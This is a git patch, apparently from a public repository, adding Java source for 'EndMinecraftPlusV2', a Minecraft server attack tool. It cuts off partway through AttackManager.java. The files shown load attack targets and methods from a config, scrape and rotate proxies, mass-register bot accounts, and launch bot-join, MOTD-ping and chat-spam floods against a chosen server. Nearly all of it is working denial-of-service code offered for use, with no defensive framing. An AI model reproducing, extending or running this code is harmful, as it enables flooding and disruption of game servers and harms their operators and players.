From 346907ee83020f17294dd015b1f9133377a1612b Mon Sep 17 00:00:00 2001 From: SerendipityR <48401197+SerendipityR-2022@users.noreply.github.com> Date: Thu, 18 Aug 2022 18:29:46 +0800 Subject: [PATCH] =?UTF-8?q?=20=E6=9B=B4=E6=96=B0=E5=8D=8F=E8=AE=AE?= =?UTF-8?q?=E5=BA=93=E7=89=88=E6=9C=AC=E4=BB=A5=E6=94=AF=E6=8C=81=E6=9B=B4?= =?UTF-8?q?=E9=AB=98=E7=89=88=E6=9C=AC=20=E6=B7=BB=E5=8A=A0=E4=BF=9D?= =?UTF-8?q?=E5=AD=98=E5=8F=AF=E7=94=A8=E4=BB=A3=E7=90=86=E5=8A=9F=E8=83=BD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- src/META-INF/MANIFEST.MF | 3 + .../EndMinecraftPlusV2.java | 49 +++ .../EndMinecraftPlusV2/Tools/ConfigUtil.java | 169 ++++++++ .../EndMinecraftPlusV2/Tools/DataUtil.java | 42 ++ .../EndMinecraftPlusV2/Tools/HTTPUtil.java | 39 ++ .../EndMinecraftPlusV2/Tools/LogUtil.java | 34 ++ .../EndMinecraftPlusV2/Tools/OtherUtils.java | 62 +++ .../EndMinecraftPlusV2/Tools/ProxyUtil.java | 150 +++++++ .../EndMinecraftPlusV2/Tools/SetTitle.java | 10 + .../VersionControl/AttackManager.java | 116 ++++++ .../ACProtocol/AnotherStarAntiCheat.java | 101 +++++ .../NewVersion/ACProtocol/AntiCheat3.java | 81 ++++ .../AttackUtils/Methods/BotAttack.java | 378 ++++++++++++++++++ .../AttackUtils/Methods/DoubleAttack.java | 37 ++ .../AttackUtils/Methods/IAttack.java | 22 + .../AttackUtils/Methods/MotdAttack.java | 73 ++++ .../AttackUtils/Methods/MotdAttackP.java | 92 +++++ .../Methods/MultiVersionPacket.java | 94 +++++ .../NewVersion/ForgeProtocol/MCForge.java | 113 ++++++ .../ForgeProtocol/MCForgeHandShake.java | 14 + .../ForgeProtocol/MCForgeHandShakeV1.java | 75 ++++ .../ForgeProtocol/MCForgeHandShakeV2.java | 158 ++++++++ .../ForgeProtocol/MCForgeInject.java | 52 +++ .../NewVersion/ForgeProtocol/MCForgeMOTD.java | 141 +++++++ .../ForgeProtocol/MCForgeUtils.java | 25 ++ .../ForgeProtocol/UnknownPacket.java | 20 + .../ACProtocol/AnotherStarAntiCheat.java | 103 +++++ .../OldVersion/ACProtocol/AntiCheat3.java | 81 ++++ .../AttackUtils/Methods/BotAttack.java | 374 +++++++++++++++++ .../AttackUtils/Methods/DoubleAttack.java | 37 ++ .../AttackUtils/Methods/IAttack.java | 22 + .../AttackUtils/Methods/MotdAttack.java | 73 ++++ .../AttackUtils/Methods/MotdAttackP.java | 92 +++++ .../Methods/MultiVersionPacket.java | 94 +++++ .../OldVersion/ForgeProtocol/MCForge.java | 101 +++++ .../ForgeProtocol/MCForgeHandShake.java | 14 + .../ForgeProtocol/MCForgeHandShakeV1.java | 75 ++++ .../ForgeProtocol/MCForgeHandShakeV2.java | 158 ++++++++ .../ForgeProtocol/MCForgeInject.java | 52 +++ .../OldVersion/ForgeProtocol/MCForgeMOTD.java | 141 +++++++ .../ForgeProtocol/MCForgeUtils.java | 25 ++ .../ForgeProtocol/UnknownPacket.java | 20 + .../VersionControl/ProtocolLibs.java | 119 ++++++ src/config.yml | 68 ++++ src/data.yml | 2 + 45 files changed, 3801 insertions(+) create mode 100644 src/META-INF/MANIFEST.MF create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/AttackManager.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ACProtocol/AnotherStarAntiCheat.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ACProtocol/AntiCheat3.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/BotAttack.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/DoubleAttack.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/IAttack.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/MotdAttack.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/MotdAttackP.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/Methods/MultiVersionPacket.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForge.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShake.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShakeV1.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShakeV2.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeInject.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeMOTD.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeUtils.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/UnknownPacket.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ACProtocol/AnotherStarAntiCheat.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ACProtocol/AntiCheat3.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/BotAttack.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/DoubleAttack.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/IAttack.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/MotdAttack.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/MotdAttackP.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/MultiVersionPacket.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForge.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShake.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShakeV1.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShakeV2.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeInject.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeMOTD.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeUtils.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/UnknownPacket.java create mode 100644 src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/ProtocolLibs.java create mode 100644 src/config.yml create mode 100644 src/data.yml diff --git a/src/META-INF/MANIFEST.MF b/src/META-INF/MANIFEST.MF new file mode 100644 index 0000000..8001206 --- /dev/null +++ b/src/META-INF/MANIFEST.MF @@ -0,0 +1,3 @@ +Manifest-Version: 1.0 +Main-Class: cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2 + diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java b/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java new file mode 100644 index 0000000..5381c5e --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java @@ -0,0 +1,49 @@ +package cn.serendipityr.EndMinecraftPlusV2; + +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs; +import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil; +import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; +import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil; +import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle; + +public class EndMinecraftPlusV2 { + public static String ver = "1.0.2_Dev"; + + public static void main(String[] args) { + System.out.println("========================-Forked by SerendipityR-========================"); + System.out.println(" EndMinecraftPlus原作者 - @iuli-moe"); + System.out.println(" Github发布页: https://github.com/SerendipityR-2022/EndMinecraftPlusV2"); + System.out.println(" EndMinecraftPlusV2 (Ver: " + ver + ")" + " is loading......"); + System.out.println("========================================================================"); + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - Forked by SerendipityR"); + LogUtil.emptyLog(); + prepareConfig(); + prepareProxy(); + startAttack(); + } + + public static void prepareConfig() { + LogUtil.doLog(0, "正在载入配置文件...", "CFGUtil"); + new ConfigUtil().loadConfig(); + } + + public static void prepareProxy() { + if (!ConfigUtil.AttackMethod.equals(3)) { + LogUtil.doLog(0, "正在获取代理...", "ProxyUtil"); + ProxyUtil.getProxies(); + ProxyUtil.runUpdateProxiesTask(ConfigUtil.ProxyUpdateTime); + } + } + + public static void startAttack() { + LogUtil.doLog(0, "正在载入Minecraft协议库...", "ProtocolLib"); + ProtocolLibs.loadProtocolLib(); + AttackManager.doAttack(); + } + + public static void Exit() { + LogUtil.doLog(0, "程序退出...", "INFO"); + System.exit(0); + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java new file mode 100644 index 0000000..2dd3567 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java @@ -0,0 +1,169 @@ +package cn.serendipityr.EndMinecraftPlusV2.Tools; + +import cc.summermc.bukkitYaml.file.YamlConfiguration; +import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2; + +import javax.naming.directory.Attribute; +import javax.naming.directory.InitialDirContext; +import java.io.File; +import java.util.Hashtable; +import java.util.List; +import java.util.Scanner; + +public class ConfigUtil { + public static File configFile; + public static YamlConfiguration config; + public static String AttackAddress; + public static Integer AttackPort; + public static Integer AttackMethod; + public static Integer AttackTime; + public static Long ConnectDelay; + public static Integer MaxConnections; + public static Boolean TabAttack; + public static Boolean AntiAttackMode; + public static String DoubleExploitPlayer; + public static Boolean ShowFails; + public static String BotName; + public static Integer BotCount; + public static Boolean RegisterAndLogin; + public static List RegisterCommands; + public static Integer RejoinCount; + public static List RejoinDetect; + public static Long RejoinDelay; + public static List ClickVerifiesDetect; + public static List CustomChat; + public static Boolean ChatSpam; + public static Long ChatDelay; + public static Integer ProxyGetType; + public static Integer ProxyType; + public static Integer ProxyUpdateTime; + public static File ProxyFile; + public static List ProxyAPIs; + public static Boolean SaveWorkingProxy; + + public void loadConfig() { + try { + configFile = new File("config.yml"); + + if (!configFile.exists()) { + LogUtil.doLog(1, "载入配置文件失败! 文件不存在。", null); + EndMinecraftPlusV2.Exit(); + } + + config = YamlConfiguration.loadConfiguration(configFile); + + AttackAddress = config.getString("AttackSettings.Address"); + AttackPort = config.getInt("AttackSettings.Port"); + AttackMethod = config.getInt("AttackSettings.Method"); + AttackTime = config.getInt("AttackSettings.Time"); + ConnectDelay = config.getLong("AttackSettings.ConnectDelay"); + MaxConnections = config.getInt("AttackSettings.MaxConnections"); + TabAttack = config.getBoolean("AttackSettings.TabAttack"); + AntiAttackMode = config.getBoolean("AttackSettings.AntiAttackMode"); + DoubleExploitPlayer = config.getString("AttackSettings.DoubleExploitPlayer"); + ShowFails = config.getBoolean("AttackSettings.ShowFails"); + BotName = config.getString("BotSettings.BotName"); + BotCount = config.getInt("BotSettings.BotCount"); + RegisterAndLogin = config.getBoolean("BotSettings.Register&Login"); + RegisterCommands = config.getStringList("BotSettings.RegisterCommands"); + RejoinCount = config.getInt("BotSettings.RejoinCount"); + RejoinDetect = config.getStringList("BotSettings.RejoinDetect"); + RejoinDelay = config.getLong("BotSettings.RejoinDelay"); + ClickVerifiesDetect = config.getStringList("BotSettings.ClickVerifiesDetect"); + ChatSpam = config.getBoolean("BotSettings.ChatSpam"); + CustomChat = config.getStringList("BotSettings.CustomChat"); + ChatDelay = config.getLong("BotSettings.ChatDelay"); + ProxyGetType = config.getInt("Proxy.GetType"); + ProxyType = config.getInt("Proxy.ProxyType"); + ProxyUpdateTime = config.getInt("Proxy.UpdateTime"); + ProxyFile = new File(config.getString("Proxy.File")); + ProxyAPIs = config.getStringList("Proxy.APIs"); + SaveWorkingProxy = config.getBoolean("Proxy.SaveWorkingProxy"); + + checkSRV(); + + LogUtil.doLog(0, "==============================================================", "CFGUtil"); + LogUtil.doLog(0, "服务器地址: " + AttackAddress, "CFGUtil"); + LogUtil.doLog(0, "服务器端口: " + AttackPort, "CFGUtil"); + LogUtil.doLog(0, "攻击方式: " + getAttackMethod(AttackMethod), "CFGUtil"); + LogUtil.doLog(0, "攻击时间: " + AttackTime + "秒", "CFGUtil"); + LogUtil.doLog(0, "连接间隔: " + timeToSeconds(ConnectDelay) + "秒", "CFGUtil"); + LogUtil.doLog(0, "最大连接数: " + MaxConnections + "个", "CFGUtil"); + LogUtil.doLog(0, "同时进行Tab攻击: " + booleanToStr(TabAttack), "CFGUtil"); + LogUtil.doLog(0, "AntiAttack模式: " + booleanToStr(AntiAttackMode), "CFGUtil"); + LogUtil.doLog(0, "代理类型: " + getProxyFrom(ProxyGetType), "CFGUtil"); + LogUtil.doLog(0, "代理API: " + ProxyAPIs.size() + "个", "CFGUtil"); + LogUtil.doLog(0, "代理更新间隔: " + ProxyUpdateTime + "秒", "CFGUtil"); + LogUtil.doLog(0, "==============================================================", "CFGUtil"); + LogUtil.emptyLog(); + } catch (Exception e) { + LogUtil.emptyLog(); + LogUtil.doLog(1, "载入配置文件失败! 详细信息: " + e, null); + EndMinecraftPlusV2.Exit(); + } + } + + public static String getAttackMethod(int type) { + switch (type) { + case 1: + return "BotAttack"; + case 2: + return "MotdAttack"; + case 3: + return "MotdAttackP"; + case 4: + return "DoubleAttack"; + default: + return "Error"; + } + } + + public static String getProxyFrom(int type) { + switch (type) { + case 1: + return "API"; + case 2: + return "File"; + case 3: + return "API + File"; + default: + return "Error"; + } + } + + public static String booleanToStr(boolean type) { + return type ? "开启" : "关闭"; + } + + public static Double timeToSeconds(long time) { + return (double) time / 1000; + } + + public static void checkSRV() { + Hashtable hashtable = new Hashtable<>(); + hashtable.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory"); + hashtable.put("java.naming.provider.url", "dns:"); + + try { + Attribute attribute = (new InitialDirContext(hashtable)) + .getAttributes("_Minecraft._tcp." + AttackAddress, + new String[]{"SRV"}) + .get("srv"); + if (attribute != null) { + String[] re = attribute.get().toString().split(" ", 4); + LogUtil.doLog(0, "=============================================================", "CheckSRV"); + LogUtil.doLog(0,"域名: " + AttackAddress, "CheckSRV"); + LogUtil.doLog(0,"源地址: " + re[3], "CheckSRV"); + LogUtil.doLog(0,"源端口: " + re[2], "CheckSRV"); + LogUtil.doLog(-1,"检测到服务器存在SRV记录,是否替换地址为SRV解析记录?[y/n]: ", "CheckSRV"); + Scanner scanner = new Scanner(System.in); + String cmd = scanner.nextLine(); + + if (cmd.equals("y")) { + AttackAddress = re[3]; + AttackPort = Integer.parseInt(re[2]); + } + } + } catch (Exception ignored) {} + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java new file mode 100644 index 0000000..421ba0f --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/DataUtil.java @@ -0,0 +1,42 @@ +package cn.serendipityr.EndMinecraftPlusV2.Tools; + +import cc.summermc.bukkitYaml.file.YamlConfiguration; + +import java.io.File; +import java.io.IOException; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; + +public class DataUtil { + public static List botRegPasswords = new ArrayList<>(); + public static HashMap botRegPasswordsMap = new HashMap<>(); + public static File dataFile = new File("data.yml"); + + public static void loadData() { + YamlConfiguration data = YamlConfiguration.loadConfiguration(dataFile); + botRegPasswords = data.getStringList("Data"); + + for (String PwdData:botRegPasswords) { + String[] aPwdData = PwdData.split("@"); + botRegPasswordsMap.put(aPwdData[0], aPwdData[1]); + } + } + + public static void updateData(String name, String pwd) { + YamlConfiguration data = YamlConfiguration.loadConfiguration(dataFile); + List datas = data.getStringList("Data"); + + String aPwdData = name + "@" + pwd; + datas.add(aPwdData); + data.set("Data", datas); + botRegPasswords.add(aPwdData); + botRegPasswordsMap.put(name, pwd); + + try { + data.save(dataFile); + } catch (IOException e) { + throw new RuntimeException(e); + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java new file mode 100644 index 0000000..24e7bca --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/HTTPUtil.java @@ -0,0 +1,39 @@ +package cn.serendipityr.EndMinecraftPlusV2.Tools; + +import java.io.BufferedReader; +import java.io.InputStreamReader; +import java.net.Proxy; +import java.net.URL; +import java.net.URLConnection; + +public class HTTPUtil { + public static String sendGet(String url) { + StringBuilder result = new StringBuilder(); + BufferedReader in = null; + try { + URL realUrl = new URL(url); + URLConnection connection = realUrl.openConnection(); + connection.setRequestProperty("accept", "*/*"); + connection.setRequestProperty("connection", "Keep-Alive"); + connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); + connection.connect(); + + in = new BufferedReader(new InputStreamReader(connection.getInputStream())); + String line; + while ((line = in.readLine()) != null) { + result.append(line); + } + } catch (Exception e) { + LogUtil.doLog(1, "HTTP请求出错! 详细信息: " + e, null); + } finally { + try { + if (in != null) { + in.close(); + } + } catch (Exception e) { + LogUtil.doLog(1, "IO异常! 详细信息: " + e, null); + } + } + return result.toString(); + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.java new file mode 100644 index 0000000..fc11c2c --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/LogUtil.java @@ -0,0 +1,34 @@ +package cn.serendipityr.EndMinecraftPlusV2.Tools; + +public class LogUtil { + public static void doLog(int type, String content, String extra) { + String logType; + String msg; + + switch (type) { + case 1: + logType = "[Internal Error]"; + break; + case 2: + logType = "[Attack Error]"; + break; + case 3: + logType = "[DEBUG]"; + break; + default: + logType = "[" + extra + "]"; + } + + msg = logType + " " + content; + + if (type == -1) { + System.out.print(msg); + } else { + System.out.println(msg); + } + } + + public static void emptyLog() { + System.out.println(""); + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.java new file mode 100644 index 0000000..52ce720 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.java @@ -0,0 +1,62 @@ +package cn.serendipityr.EndMinecraftPlusV2.Tools; + +import java.io.File; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.Random; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class OtherUtils { + public static void doSleep(long millis) { + try { + Thread.sleep(millis); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + + public static Matcher matches(String str, String regex) { + Pattern mPattern = Pattern.compile(regex); + return mPattern.matcher(str); + } + + public static String getRandomString(int minLength, int maxLength) { + String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + Random random = new Random(); + int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength; + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < length; ++i) { + int number = random.nextInt(62); + stringBuilder.append(str.charAt(number)); + } + return stringBuilder.toString(); + } + + @SuppressWarnings("unchecked") + public static T getCo(String date, T def) { + if (date.equals("")) { + return def; + } + return (T) date; + } + + public static int getCo(String date, int def) { + if (date.equals("")) { + return def; + } + return Integer.parseInt(date); + } + + public static void loadLibrary(File file) { + try { + URLClassLoader cl = (URLClassLoader) ClassLoader.getSystemClassLoader(); + Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class); + method.setAccessible(true); + method.invoke(cl, file.toURL()); + } catch (Exception e) { + e.printStackTrace(); + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java new file mode 100644 index 0000000..860d078 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java @@ -0,0 +1,150 @@ +package cn.serendipityr.EndMinecraftPlusV2.Tools; + +import org.spacehq.packetlib.Session; + +import java.io.*; +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.regex.Matcher; + +public class ProxyUtil { + public static List proxies = new ArrayList<>(); + public static HashMap clientsProxy = new HashMap<>(); + public static List workingProxiesList = new ArrayList<>(); + + public static void getProxies() { + String getMethod; + + switch (ConfigUtil.ProxyGetType) { + case 2: + getMethod = "通过本地文件获取"; + getProxiesFromFile(false, true); + break; + case 3: + getMethod = "通过API+本地文件获取"; + getProxiesFromFile(false, true); + getProxiesFromAPIs(false, false); + break; + case 1: + default: + getMethod = "通过API获取"; + getProxiesFromAPIs(false, true); + } + + LogUtil.doLog(0, "获取代理完成! (" + getMethod + " | 数量: " + proxies.size() + "个)", "ProxyUtil"); + LogUtil.emptyLog(); + } + + public static void getProxiesFromAPIs(boolean async, boolean replace) { + if (async) { + List newProxies = proxies; + + if (replace) { + newProxies = new ArrayList<>(); + } + + for (String url:ConfigUtil.ProxyAPIs) { + String ips = HTTPUtil.sendGet(url); + Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}"); + while (matcher.find()) { + String ip = matcher.group(); + newProxies.add(ip); + } + } + + proxies = newProxies; + } else { + for (String url:ConfigUtil.ProxyAPIs) { + if (replace) { + proxies = new ArrayList<>(); + } + + String ips = HTTPUtil.sendGet(url); + Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}"); + while (matcher.find()) { + String ip = matcher.group(); + proxies.add(ip); + } + } + } + } + + + public static void getProxiesFromFile(boolean async, boolean replace) { + try { + if (!ConfigUtil.ProxyFile.exists()) { + LogUtil.doLog(1, "无法从文件读取代理! 文件不存在。", null); + return; + } + + BufferedReader reader = new BufferedReader(new FileReader(ConfigUtil.ProxyFile)); + String tempString; + + if (async) { + List newProxies = proxies; + + if (replace) { + newProxies = new ArrayList<>(); + } + + while ((tempString = reader.readLine()) != null) { + newProxies.add(tempString); + } + + proxies = newProxies; + } else { + if (replace) { + proxies = new ArrayList<>(); + } + + while ((tempString = reader.readLine()) != null) { + proxies.add(tempString); + } + } + + reader.close(); + } catch (IOException e) { + LogUtil.doLog(1, "无法从文件读取代理! IO异常: " + e, null); + } + } + + public static void runUpdateProxiesTask(int time) { + new Thread(() -> { + while (true) { + OtherUtils.doSleep(time * 1000L); + + switch (ConfigUtil.ProxyGetType) { + case 1: + getProxiesFromAPIs(true, true); + break; + case 3: + getProxiesFromFile(true, true); + getProxiesFromAPIs(true, false); + break; + } + + LogUtil.doLog(0, "代理更新完毕! (通过API获取 | 数量: " + proxies.size() + "个)", "ProxyUtil"); + } + }).start(); + } + + public static void saveWorkingProxy(Proxy proxy) { + File workingProxies = new File("working-proxies.txt"); + InetSocketAddress inetSocketAddress = (InetSocketAddress) proxy.address(); + + if (!workingProxiesList.contains(proxy)) { + try { + FileWriter fileWriter = new FileWriter(workingProxies, true); + String proxyAddress = (inetSocketAddress.getAddress() + ":" + inetSocketAddress.getPort() + "\n").replace("/",""); + fileWriter.write(proxyAddress); + fileWriter.close(); + workingProxiesList.add(proxy); + } catch (IOException e) { + LogUtil.doLog(1, "保存有效代理失败! IO异常。", null); + } + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.java new file mode 100644 index 0000000..e16fc44 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.java @@ -0,0 +1,10 @@ +package cn.serendipityr.EndMinecraftPlusV2.Tools; + +import com.sun.jna.Library; +import com.sun.jna.Native; +import com.sun.jna.Platform; + +public interface SetTitle extends Library { + SetTitle INSTANCE = Native.loadLibrary((Platform.isWindows() ? "kernel32" : "c"), SetTitle.class); + boolean SetConsoleTitleA(String title); +} \ No newline at end of file diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/AttackManager.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/AttackManager.java new file mode 100644 index 0000000..239392d --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/AttackManager.java @@ -0,0 +1,116 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl; + +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods.*; +import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForge; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForgeMOTD; +import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil; +import cn.serendipityr.EndMinecraftPlusV2.Tools.DataUtil; +import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; +import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils; + +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; +import java.util.Random; + +public class AttackManager { + public static void doAttack() { + LogUtil.emptyLog(); + + switch (ConfigUtil.AttackMethod) { + case 1: + // BotAttack + DataUtil.loadData(); + if (DataUtil.botRegPasswords.size() < ConfigUtil.BotCount) { + for (int i = 0; i < (ConfigUtil.BotCount - DataUtil.botRegPasswords.size()); i++) { + DataUtil.updateData(ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString(3,5)), OtherUtils.getRandomString(8,10)); + } + } + + Map modList = new HashMap<>(); + + if (ProtocolLibs.highVersion) { + if (!cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.isAfterVersion1_13()) { + LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "BotAttack"); + modList = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge.getProtocolVersion()); + LogUtil.doLog(0, "Mods: " + Arrays.toString(modList.keySet().toArray()), "BotAttack"); + } + + cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.BotAttack botAttack = new cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.Methods.BotAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); + botAttack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, modList); + botAttack.start(); + } else { + if (!MCForge.isAfterVersion1_13()) { + LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "BotAttack"); + modList = new MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, MCForge.getProtocolVersion()); + LogUtil.doLog(0, "Mods: " + Arrays.toString(modList.keySet().toArray()), "BotAttack"); + } + + BotAttack botAttack = new BotAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay); + botAttack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, modList); + botAttack.start(); + } + + break; + case 2: + // MotdAttack + if 